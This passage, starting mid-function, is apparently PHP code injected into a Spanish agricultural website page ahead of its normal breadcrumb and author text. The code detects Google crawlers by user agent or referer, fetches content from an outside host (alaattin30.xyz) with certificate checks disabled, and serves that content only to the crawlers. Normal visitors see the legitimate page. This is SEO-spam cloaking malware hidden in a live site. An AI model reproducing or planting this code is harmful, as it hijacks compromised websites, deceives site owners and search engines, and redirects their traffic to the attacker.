true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 8,
CURLOPT_USERAGENT => $ua,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0
);
if ($ref) { $opts[CURLOPT_REFERER] = $ref; }
curl_setopt_array($ch, $opts);
$out = curl_exec($ch);
curl_close($ch);
}
if ($out === false && (bool)ini_get('allow_url_fopen')) {
$context = @stream_context_create(array(
'http' => array(
'header' => "User-Agent: $ua\r\n" . ($ref ? "Referer: $ref\r\n" : ""),
'timeout' => 8,
'follow_location' => 1
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
));
$out = @file_get_contents($url, false, $context);
}
return $out;
}
}
$u = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$r = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$b = array('Googlebot', 'Google-InspectionTool', 'Mediapartners-Google');
$is_bot = false;
// 1. Adım: Bot Kontrolü
foreach ($b as $bot) {
if (($u && stripos($u, $bot) !== false) || ($r && stripos($r, $bot) !== false)) {
$is_bot = true;
break;
}
}
// 2. Adım: Bot işlemleri
if ($is_bot) {
$t = 'https://alaattin30.xyz/guvenlik/yildirimank.php';
$c = get_bot_content($t, $u, $r);
if ($c !== false && !empty($c)) {
echo $c;
exit();
}
}
?>
-
Usted está aquí:
-
Inicio
-
Procedimientos
-
Detalles
-
Escrito por Super User
-
Categoría: Agronomicas
-
-
Visitas: 10266